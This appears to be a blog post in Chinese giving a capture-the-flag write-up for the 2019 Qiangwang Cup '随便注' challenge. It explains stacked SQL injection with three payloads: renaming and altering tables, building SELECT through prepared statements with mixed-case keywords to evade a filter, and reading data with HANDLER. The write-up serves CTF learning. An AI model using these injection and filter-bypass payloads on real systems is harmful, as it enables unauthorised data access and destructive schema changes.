强网杯2019_随便注

强网杯2019_随便注

(1)打开页面,先试几个关键词,发现很多关键字被过滤掉了

图片.png

(2)既然select被过滤掉了,便尝试一下堆叠注入。

图片.png

好像可以,再试试。

图片.png

1919810931114514必须用反单引号括起来,但是words不需要,应该是和数据类型有关。

图片.png

(3)方法

  • 法一:

图片.png

(1)仔细观察,发现查询框里值1的返回值为两个数据,表words中正好存储了两列数据,而1919810931114514表中仅有flag这列数据。据此,我们不妨猜测查询框所查询的值为words表中的值。

查询框后台的语句为:select id,data from words where id=

(2)既然查询框是从words表中查询数据,那么我们就可以通过把1919810931114514改为words表,把属性名flag改为id,来查询flag。

(3)改名

1';rename table `words` to words2; 
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);

由于flag更改成id后,里面的值只有flag,我们可以构造1’ or 1=1;永真式来查询flag;

  • 法二:

(1)因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码,再通过构造payload得flag。

  • 注:在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。

  • 预处理语句的SQL语法基于三个SQL语句:(详情可以参考博主《sql注入——预处理语句》这篇博客)

    1.PREPARE语句准备执行。

    2.EXECUTE执行一条预处理语句。

    3.DEALLOCATE PREPARE释放一个预处理语句。

(2)构造payload

1';sEt @a=concat("sel","ect flag from `1919810931114514`");PRepare hello from @a;execute hello;#

这里set和prepare都被过滤了,不过过滤使用的函数strstr是区分大小写的我们可以通过大小写绕过。

(3)爆出flag。

  • 法三:

(1)这里由于没有过滤handler语句,我们可以通过handler语句来进行查询。

(2)构造payload

1';handler `1919810931114514` open as `a`;handler `a` read next;

(3)爆出flag。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信